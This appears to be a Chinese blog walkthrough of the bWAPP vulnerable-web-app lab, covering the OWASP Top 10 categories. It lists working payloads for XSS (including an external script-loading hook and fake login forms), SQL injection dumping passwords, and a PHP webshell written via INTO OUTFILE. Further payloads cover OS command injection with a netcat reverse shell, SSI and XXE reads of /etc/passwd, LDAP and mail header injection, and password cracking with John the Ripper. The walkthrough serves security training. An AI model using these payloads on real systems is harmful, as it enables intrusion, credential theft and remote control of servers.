前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >owasp靶机使用教程_br软件使用教程

owasp靶机使用教程_br软件使用教程

作者头像
全栈程序员站长
发布2022-11-09 20:41:26
4.2K0
发布2022-11-09 20:41:26
举报

大家好,又见面了,我是你们的朋友全栈君。

A1注入 html injection: low:最基础的xss注入: xss测试 1.get

代码语言:javascript
复制
<script>alert(/xss/)</script>
在这里插入图片描述
在这里插入图片描述

跳转

代码语言:javascript
复制
<a href="https://www.baidu.com/">点击这儿领红包</a>
在这里插入图片描述
在这里插入图片描述

获取cookie:

代码语言:javascript
复制
<script>alert(document.cookie)</script>)
在这里插入图片描述
在这里插入图片描述

xss平台利用:

代码语言:javascript
复制
</tExtArEa>'"><sCRiPt sRC=//xsshs.cn/L0oJ></sCrIpT>

xss平台:

在这里插入图片描述
在这里插入图片描述

medium: 此时直接注入已经不能执行了 由于是get注入,考虑进行url编码:

代码语言:javascript
复制
<a href="https://www.baidu.com">click it <a>
代码语言:javascript
复制
%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d%22%3e%63%6c%69%63%6b%20%69%74%20%3c%61%3e
在这里插入图片描述
在这里插入图片描述

同样跳到百度

high:

在这里插入图片描述
在这里插入图片描述

可以看到源码将<>’’&进行编码,并且使用htmlspecialchars将html转化为实体,本来如果没有ENT_QUOTES参数的话还可以考虑使用单引号闭合 ’ firstname=’alert(111)’来绕过,暂时没办法了

2.post 没什么好说的,只是表单提交方式变了而已 3.current url

在这里插入图片描述
在这里插入图片描述

核心代码如上,url只能是来自请求头的host和url low: 修改host

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

修改url: url会自动忽略#和//

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这个中高级我没办法

储存型xss: 1 low,这个和反射性xss不一样的地方在于,反射性xss是一次性的,而存储型xss是只要浏览页面就会一直存在 而存储型xss相对来说危害性更大: 比如伪造一个登录框:

代码语言:javascript
复制
<form action="http://www.baidu.com">
<input type="text" name="username"></input>
<input type="text" name="password"></input>
<input type="submit">
</form>
在这里插入图片描述
在这里插入图片描述

当我在提交数据时,仍然出现了xss弹窗

当然也可以更加逼真的登录框: #伪造登录

代码语言:javascript
复制
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://192.168.1.101 /login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>
在这里插入图片描述
在这里插入图片描述

或者也可覆盖原页面:

代码语言:javascript
复制
 <form action="http://www.baidu.com" method="POST">
<table>
<tr>
<td colspan="6"><p><textarea name="entry" id="entry" cols="80" rows="3"></textarea></p></td>
</tr>
<tr>
<td width="79" align="left">
<button type="submit" name="blog" value="submit">Submit</button>
</td>
<td width="85" align="center">
<label for="entry_add">Add:</label>
<input type="checkbox" id="entry_add" name="entry_add" value="" checked="on">
</td>
<td width="100" align="center">
<label for="entry_all">Show all:</label>
<input type="checkbox" id="entry_all" name="entry_all" value="">
</td>
<td width="106" align="center">
<label for="entry_delete">Delete:</label>
<input type="checkbox" id="entry_delete" name="entry_delete" value="">
</td>
<td width="7"></td>
<td align="left"><?php echo $message;?></td>
</tr>
</table>
</form>
代码语言:javascript
复制
中高级使用的函数是:mysqli_real_escape_string
转义特殊字符
iFrame Injection
low
代码语言:javascript
复制
iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250

首先ParamUrl可以进行任意文件读取,同时也可以打开其它网站

代码语言:javascript
复制
iframei.php?ParamUrl=./666&ParamWidth=250&ParamHeight=250
在这里插入图片描述
在这里插入图片描述

中级: 此时的ParamUrl已经不可控了,所以考虑从别的地方下手 而这些参数使用了<iframe 标签,所以可以考虑闭合此标签和引号

代码语言:javascript
复制
if($_COOKIE["security_level"] == "1" || $_COOKIE["security_level"] == "2")
{ 

?>
<iframe frameborder="0" src="robots.txt" height="<?php echo xss($_GET["ParamHeight"])?>" width="<?php echo xss($_GET["ParamWidth"])?>"></iframe>
<?php
}

使用:"?></iframe><script>alert(/xss/)</script><iframe>

LDAP Connection Settings LDAP:Lightweight Directory Access Protocol(轻量级的目录访问协议) 首先了解一下LDAP语法: dn表示一条记录所处的位置 dc表示一条记录所属的区域 ou表示所属组织 cn表示记录名字 可以将LDAP看作数据库 dc(数据库)-ou(表)-cn(字段) 或者看成树 dc(根)-ou(分支)-cn(名字) =:(Name=ring) 查找name等于ring的对象 &:(&(Name=ring)(age=14))查找名字为ring且年龄为14的对象 |:(|(Name=ring)(age=14))查找名字为ring或者年龄为14的对象 !😦!Name=ring)查找name不为ring的对象 :(Name=)查找所有name不为空的对象

LDAP的形式如下:

代码语言:javascript
复制
ldap://<host>:<prot>/<path>

例如:

代码语言:javascript
复制
ldap://austin.ibm.com/ou=Austin,o=IBM
ldap:///ou=Austin,o=IBM??sub?(cn=Joe Q. Public)

LDAP注入: LDAP注入与sql注入很像, 1.AND注入: 假如后端语句为:

代码语言:javascript
复制
(&(parameter1=value1)(parameter2=value2))

那么攻击者可以对此进行绕过 例如:

代码语言:javascript
复制
(&(username=username)(password=password))

而这里就可以进行类似于sql注入的联合注入, 构造payload:(&(usesrname=username)(&)(password=password)) 因为服务器只处理第一个过滤器,即仅查询(&(username=username)(&)) 只要输入的username正确,这个表达式就永真,就可以使用任意密码进入 2.权限提升

代码语言:javascript
复制
(&(directory=document)(security_level=low)) 

document是用户入口,low是安全等级,如果攻击者想看高安全等级的文档,他可以利用:

代码语言:javascript
复制
document)(security_level=*))(&(directory=documents

这样服务器生成的过滤器为:

代码语言:javascript
复制
(&(directory=document)(security_level=*))(&(directory=documents)(security_level=low))

那么&(directory=documents)(security_level=low))就被忽略了 还有or注入,盲注等等,原理跟sql注入差不多 不同的有发现属性和字符集消减 可参见:

https://blog.csdn.net/quiet_girl/article/details/50716312

Mail Header Injection 邮箱系统使用SMTP协议 SMTP协议:建立在FTP文件传输服务上一种可靠的电子邮件传协议 对应的SMTP服务端口为25 例如:邮箱从c@163.com到www.s.com网页的s@163.com过程如下: s:(等待连接) c:(打开与服务器的连接) s:220 www.s.com SMTP service ready(服务器连接TCP就绪) c:HELLO www.s.com s:250 www.s.com says hello c:MAIL.FROM:c@163.com s:250 ok c:RCPT TO :s@163.com s:250 ok c:DATA s:354 Start mail input;end with<CRLF>.<CRLF> c:传输邮件 c:<CRLF>.<CRLF> s:250 ok c:QUIT s:221 www.s.com Service closing transmission channel

搜索了一下SMTP注入: 首先我们需要一个有效的账户,并且格式为: 发送方的e-mail地址 接收方的e-mail地址 主题 消息主体 附件 1.cc/bcc注入: 在发送者字段(sender)后注入cc(carbon copy抄送,)和bcc(隐藏抄送)参数(两者的区别在于在BCC栏中的收件人可以看到所有的收件人名(TO,CC,BCC),而在TO 和CC栏中的收件人看不到BBC的收件人名。) From:sender@163.com%0ACc:1@163.com%0ABcc:2@163.com 现在所有的消息都会被发送到1和2账号 2.参数注入 From:sender@163.com%0ATo:hack@163.com 消息被发送到原来的收件人和攻击者账号 3.邮件主题注入: From:sender@163.com%0A Subject:This is fake subject 这样原来的主题就被修改为this is fake subject(不过这个取决于代码编写的容错性,出现两个subject时时选择丢弃还是后者覆盖) 4.改变消息的主题body From:sender@163.com %0A%0A this is fake message this is a fake message被添加到原消息中

OS Command Injection low: 由于默认执行了www.nsa.gov,这里可以使用&来进行多条命令的执行 www.nsa.gov&whoami 进行反弹shell 由于我是windows,就不演示反弹shell了 如果是linux,还可以使用;将命令隔开,从左往右执行

medium: 使用管道|就行;

high: 这里commix上场,用法参照:

https://blog.csdn.net/xiaohua_de/article/details/80767090

不过用commix扫容易把服务器扫崩

OS Command Injection – Blind 由于没有返回值,通过时间盲注 不执行命令时在5毫秒 ping 127.0.0.1 在90多左右 执行错误命令时在1000以上 执行两个正确命令时在100-200之间 通过时间可以判断是否执行命令,所以这里最好用的还是反弹shell 127.0.0.1 && nc -vn 192.168.91.141 4444 -e /bin/bash

high还是通过commix

PHP Code Injection low

代码语言:javascript
复制
url/phpi.php?message=exec("whoami")
url/phpi.php?message=phpinfo()

但是最有用的还是反弹shell 当然还可以使用wget来直接下载木马(可惜我是windows)

Server-Side Includes (SSI) Injection SSI:服务器断包含 语法: <#echo>显示服务器端环境变量 <#include>将文本内容直接插入到文档中 … SSI命令基本格式:

代码语言:javascript
复制
<!--指令名称=“指令参数”> 例如:<!--#exec cmd="cat /etc/passwd"-->

如果服务器不支持SSI, 会被忽略,SSI大小写敏感 low和medium都没有对html进行过滤,都存在反射性xss 当然low也存在着ssi:

代码语言:javascript
复制
<!--#exec cmd="ipconfig"-->

SQL Injection (GET/Search) low:根据:1' union select 1,login,password,email,5,6,7 from users #

在这里插入图片描述
在这里插入图片描述

爆出密码后,尝试使用john激活成功教程: 关于john: /etc/shadow记录了所有用户名及其密码hash值 john爆破密码: 默认模式:

代码语言:javascript
复制
john --user=bee shadow

简单模式:

代码语言:javascript
复制
john --single --user=bee passwd_shadow

基于字典:

代码语言:javascript
复制
john --wordlist=username.txt --user=bee shadow

incremental(逐个遍历的爆破模式):

代码语言:javascript
复制
john --incremental:digits --user=bee shadow

这里注意,参照表如下:

代码语言:javascript
复制
激活成功教程模式的具体方法      激活成功教程的密码长度       所包含的字符
Incremental:all         0-8                  All 95 printable ASCII characters
Incremental:all15       0-5                  All 95 printable ASCII characters
Incremental:all6        6                    All 95 printable ASCII characters
Incremental:all7        7                    All 95 printable ASCII characters
Incremental:all8        8                    All 95 printable ASCII characters
Incremental:alpha       1-8                  A-Z     纯大写字母
Incremental:digits      1-8                  0-9     纯数字
Incremental:lanman      0-7		    A-Z, 0-9, and some special characters  (大写字母,数字加 一些特殊字符)

预定义密码激活成功教程的类型(md5/bf/sha/…)

代码语言:javascript
复制
john --format=sha512crpty shadow

john字典爆破:

代码语言:javascript
复制
john -w:password.list --format=sha512crypt shadow

(这里的shadow为储存hash密码的文件,激活成功教程过的密码会储存在home目录下的隐藏文件.john/john.pot) *home目录下的.john/john.pot会记录所有激活成功教程过的密码,如果不清除将无法重复激活成功教程已经激活成功教程过的用户 详情参照:

https://klionsec.github.io/2017/04/26/use-john/ https://blog.csdn.net/qq_37960324/article/details/83022216

在这里插入图片描述
在这里插入图片描述

回到题目,除了常规的注入,还可以进行文件写入:

代码语言:javascript
复制
1' union select 1,2,3,4,5,6,"<?php echo 'a';eval($_POST[a]);?>" into outfile 'C:\phpStudy\PHPTutorial\WWW\bWAPP\bWAPP\1.php'#

SQL Injection (GET/Select) low:

代码语言:javascript
复制
0 union select 1,login,3,email,password,6,7 from users

medium:

代码语言:javascript
复制
1 and extractvalue(1,concat(0x7e,(select group_concat(password) from users)))#

SQL Injection (AJAX/JSON/jQuery): AJAX: Asynchronous JavaScript and XML(异步的 JavaScript 和 XML) AJAX 最大的优点是在不重新加载整个页面的情况下,可以与服务器交换数据并更新部分网页内容。(即动态网页) 举个例子:

代码语言:javascript
复制
<button type="button" onclick="loadxmldoc()">修改内容</button>
<head>
<script> function loadxmldoc() { 
 .......AJAX脚本.... } </script>
</head>

使用ajax前,先创建XMLHttpRequest对象 现在的浏览器都内建了XMLHttpRequest variable=new XMLHttpRequest(); 老版的ie5,ie6使用ActiveX对象 variable=new ActiveObject(“Microsoft.XMLHTTP”)

AJAX向服务器发送请求 使用XMLHttpRequest对象的open和send xmlhttp.open(“method”,“url”,async); method:get或者post方法 async:true(异步),false(同步) xmlhttp.send(string);仅用于post请求 例如:

xmlhttp.open(“POST”,”/try/ajax/demo_post2.php”,true); xmlhttp.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”); xmlhttp.send(“fname=Henry&lname=Ford”);

服务器响应: responseText responseXML 详情参照

https://www.runoob.com/ajax/ajax-tutorial.html

核心代码:

代码语言:javascript
复制
$("#title").keyup(function(){ 
//输入框的name为title
// Searches for a movie title
var search = { 
title: $("#title").val()};//创建一个key:value赋值给seach
// AJAX call
$.getJSON("sqli_10-2.php", search, function(data){ 

init_table();
// Constructs the table from the JSON data
var total = 0;
$.each(data, function(key, val){ 

total++;
$("#table_yellow tr:last").after("<tr><td>" + val.title + "</td><td align='center'>" + val.release_year + "</td><td>" + val.main_character + "</td><td align='center'>" + val.genre + "</td><td align='center'><a href='http://www.imdb.com/title/" + val.imdb + "' target='_blank'>Link</a></td></tr>");
});//从json中取数据
// Empty result
if (total == 0)
{ 

$("#table_yellow tr:last").after("<tr height='30'><td colspan='5' width='580'>No movies were found!</td></tr>");
}
})
});

所以以上是sqli-10-2.php把数据提交给此文件,正常查询时使用get方法 。。。。。这里是真没看懂,先做下记录 直接提交:http://192.168.1.102/bWAPP/sqli_10-2.php?title=a 不行 需要修改referer:http://192.168.1.102/bWAPP/sqli_10-1.php?search=a 这个也没复现出来。。。 paylaod:?title=I%%27+UNION+SELECT+1,2,3,4,version(),6,7+--+ (注意执行这个是在sqli_10-2.php)

在这里插入图片描述
在这里插入图片描述

paylaod:http://192.168.91.141/bWAPP/bWAPP/sqli_10-2.php?title=I%%27+UNION+SELECT+1,login,3,email,password,6,7%20from%20users+--+

在这里插入图片描述
在这里插入图片描述

验证码那个完全不知道漏洞点在哪,跳过

SQL Injection (Login Form/Hero) bee' or 1=1#永真绕过

SQL Injection (Login Form/User)

代码语言:javascript
复制
' and 0 UNION SELECT 1,2,'356a192b7913b04c54574d18c28d46e6395428ab',4,5,6,7,8,9#
1

SQL Injection (SQLite) 参照:

https://www.cnblogs.com/kagari/p/11631085.html

SQL Injection – Stored (XML)(xxe): 注意,这里需要改一下php的配置文件,php-ini,将;always_populate_raw_post_data = -1前面的分号注释去掉(如果还是不行,将php设置为较高版本)

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///etc//passwd">]>
<rest>
<login>&test;</login>
<secret>login</secret>
</rest>


A2 Broken Auth. – CAPTCHA Bypassing 验证码不实时更新,造成暴力激活成功教程 使用抓包拦截,爆破

Broken Auth. – Forgotten Function 同样的对邮箱爆破

Weak Passwords

代码语言:javascript
复制
low:
test 
test
medium:
test
test123
high:
test
Test123

Session Mgmt. – Administrative Portals

代码语言:javascript
复制
url:admin=1

Session Mgmt. – Cookies (Secure)+Cookies (HTTPOnly) 抓包修改:security_level=0; PHPSESSID=g7t91om7h4iuh70dadbt4h3rs7; top_security=no<script>alert(/xss/)</script>

在这里插入图片描述
在这里插入图片描述

A3:xss XSS – Reflected (POST)+GET 使用xss平台,反射性xss需要伪造外形,来诱导别人点它 XSS – Reflected (JSON) 源码:

代码语言:javascript
复制
 var JSONResponseString = '<?php echo $string ?>';
// var JSONResponse = eval ("(" + JSONResponseString + ")");
var JSONResponse = JSON.parse(JSONResponseString);
document.getElementById("result").innerHTML=JSONResponse.movies[0].response;
代码语言:javascript
复制
假设string=’{"movies":[{"response":"HINT: our master really loves Marvel movies :)"}]}'
进行绕过:"}]}';alert(/xss/)</script>(}]}与前面的括号闭合,'是与string='的引号闭合)

Reflected (AJAX/JSON) 动态网页,输入之后就一直弹窗

代码语言:javascript
复制
<img src=1.png onload=alert(/xss/)>   一直加载
<img src=1.png onerror=alert()> 一直弹窗
在这里插入图片描述
在这里插入图片描述

这个容易让靶机崩掉

Reflected (AJAX/XML) html实体转义(不知道大神们都是怎么想的,反正我看不出来)

代码语言:javascript
复制
&lt;img src=0 οnerrοr=&quot;alert(1)&quot;&gt;

Reflected (Back Button) 在网页源码里可以看见如下关键语句:

go back 按钮是引用的refer的值

代码语言:javascript
复制
'"><img src=1.png onerror=alert(/xss/)>

通过抓包修改refer的值

在这里插入图片描述
在这里插入图片描述

Reflected (Custom Header) 需要在HTTP的头部加入bWAPP字段即可 Palyload: bWAPP: Reflected (Eval) 关键语句:

代码语言:javascript
复制
eval("document.write(Date())");
在url里可以看到:
http://192.168.91.141/bWAPP/bWAPP/xss_eval.php?date=Date()
通过data参数来alert(1),弹窗

Reflected (HREF) 根据几次试验,猜测后台将输入的name写入a标签,再进行跳转

代码语言:javascript
复制
<a herf=name></a>

所以构造:name=></a><script>alert(1)</script>

Reflected (Login Form) 使用万能密码进行绕过

代码语言:javascript
复制
1' or 1=1' <script>alert(/xss/)</script>

phpMyAdmin BBCode Tag XSS(CVE-2010-4480) 已知漏洞

代码语言:javascript
复制
?error=[a@http://www.baidu.com@]XSS@[/a]

php_self 在这个靶机很简单,直接<script>alert(1)</script> 关于php_self详细参考

https://www.jianshu.com/p/b0c8ae980fea

PHP_SELF PHP_SELF是一个返回正在执行的当前脚本的变量。此变量返回当前文件的名称和路径(来自根文件夹) 如果再页面中使用:

代码语言:javascript
复制
<form name="test" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">

如果用户输入正常,假如为/login.php 则页面是:<form name="test" action="login.php" method="post"> 正常访问到url/login.php 但是,假如输入的是:

代码语言:javascript
复制
url/login.php"/><script>alert(1)</script><!--

那么语句久变成:<form name="test" action="login.php"/><script>alert(1)</script><!--" method="post"> 从而形成xss

Reflected (Referer) 抓包修改referer user-agent也是一样

到此,反射型xss告一段落 ————————————————————————————————————

储存型xss: SQLiteManager XSS(CVE-2012-5105) 也是一个已知漏洞

代码语言:javascript
复制
sqlite/index.php?dbsel=1"><script>alert(1)</script>

A4 Insecure DOR (Change Secret) 通过抓包就能看到用户名了

xxe:

A5:先跳过

A6:

Directory Traversal – Directories

代码语言:javascript
复制
http://192.168.91.141/bWAPP/bWAPP/directory_traversal_2.php?directory=../../../../../

Directory Traversal – Files

代码语言:javascript
复制
http://192.168.91.141/bWAPP/bWAPP/directory_traversal_1.php?page=../../1.php

Host Header Attack (Cache Poisoning)

Remote & Local File Inclusion (RFI/LFI)

代码语言:javascript
复制
http://192.168.91.141/bWAPP/bWAPP/rlfi.php?language=../../flag.txt&action=go

PHP Eval Function

代码语言:javascript
复制
http://192.168.91.141/bWAPP/bWAPP/php_eval.php?eval=echo%20shell_exec(%22ipconfig%22);

这些都属于比较基础的东西,到此为止,对于骚东西,之后再写

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/190096.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年9月24日 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
验证码
腾讯云新一代行为验证码(Captcha),基于十道安全栅栏, 为网页、App、小程序开发者打造立体、全面的人机验证。最大程度保护注册登录、活动秒杀、点赞发帖、数据保护等各大场景下业务安全的同时,提供更精细化的用户体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档